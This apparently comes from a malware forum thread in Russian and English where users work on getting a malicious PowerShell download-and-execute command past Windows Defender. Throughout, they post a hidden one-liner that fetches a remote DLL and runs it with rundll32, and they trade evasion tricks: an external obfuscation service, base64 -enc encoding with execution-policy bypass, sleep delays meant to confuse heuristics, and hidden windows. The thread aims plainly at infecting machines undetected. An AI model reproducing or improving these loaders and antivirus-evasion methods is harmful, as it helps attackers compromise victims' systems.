Trojan:Win32/Commandrob.A!ml какие есть идеи по обходу?

[Matanbuchus]

При выполнении через WIN+R команды вида

powershell -w hidden -c "$f=$env:ProgramData+'\'+[guid]::NewGuid()+'.tmp';iwr 'https://com.com/dll.aspx' -UseBasicParsing -OutFile $f;rundll32.exe `"$f`",DllRegisterServer"

получаю от windef детект Trojan:Win32/Commandrob.A!ml попытка обфускации команды например через разбитие rundll32 на части ('run'+'dll32') не помогает.

 

[Exited3n]

При выполнении через WIN+R команды вида

powershell -w hidden -c "$f=$env:ProgramData+'\'+[guid]::NewGuid()+'.tmp';iwr 'https://com.com/dll.aspx' -UseBasicParsing -OutFile $f;rundll32.exe `"$f`",DllRegisterServer"

получаю от windef детект Trojan:Win32/Commandrob.A!ml попытка обфускации команды например через разбитие rundll32 на части ('run'+'dll32') не помогает.

Попробуй обфусцировать здесь - https://argfuscator.net

 

[Matanbuchus]

Попробуй обфусцировать здесь - https://argfuscator.net

Спасибо! Помогло.

 

[CryptNeeded]

nstead of -w hidden, use a less suspicious execution method. For example, run PowerShell from a scheduled task or a batch file to avoid the blatant “hidden” flag.

Simple concatenation ('run'+'dll32') isn't enough. Use base64 encoding to hide the entire command, then decode and execute it:
$f = "$env:ProgramData\$([guid]::NewGuid()).tmp"
iwr 'https://com.com/dll.aspx' -UseBasicParsing -OutFile $f
Start-Sleep -Seconds 5 # Delay to confuse heuristics
Start-Process "rundll32.exe" -ArgumentList ""$f",DllRegisterServer" -WindowStyle Hidden
Output might look like: JABmAD0AJABlAG4AdgA6AFAAcgBvAGcAcgBhAG0ARABhAHQAYQArACcAXAAnACsAWwBnAHUAaQBkAF0AOgA6AE4AZQB3AEcAdQBpAGQAKAApACsAJwAuAHQAbQBwACcAOwBpAHcAcgAgACcAaAB0AHQAcABzAD
Etc

runit
powershell -ep bypass -enc JABmAD0AJABlAG4AdgA6AFAAcgBvAGcAcgBhAG0ARABhAHQAYQArACcAXAAnACsAWwBnAHUAaQBkAF0AOgA6AE4AZQB3AEcAd

 

[bickwfo6]

nstead of -w hidden, use a less suspicious execution method. For example, run PowerShell from a scheduled task or a batch file to avoid the blatant “hidden” flag.

Simple concatenation ('run'+'dll32') isn't enough. Use base64 encoding to hide the entire command, then decode and execute it:
$f = "$env:ProgramData\$([guid]::NewGuid()).tmp"
iwr 'https://com.com/dll.aspx' -UseBasicParsing -OutFile $f
Start-Sleep -Seconds 5 # Delay to confuse heuristics
Start-Process "rundll32.exe" -ArgumentList ""$f",DllRegisterServer" -WindowStyle Hidden
Output might look like: JABmAD0AJABlAG4AdgA6AFAAcgBvAGcAcgBhAG0ARABhAHQAYQArACcAXAAnACsAWwBnAHUAaQBkAF0AOgA6AE4AZQB3AEcAdQBpAGQAKAApACsAJwAuAHQAbQBwACcAOwBpAHcAcgAgACcAaAB0AHQAcABzAD
Etc

runit
powershell -ep bypass -enc JABmAD0AJABlAG4AdgA6AFAAcgBvAGcAcgBhAG0ARABhAHQAYQArACcAXAAnACsAWwBnAHUAaQBkAF0AOgA6AE4AZQB3AEcAd

Hi, what is the solution under the start-process script? WD kills start-process in the script, i.e. to start a file. Obfuscation of the script does not help(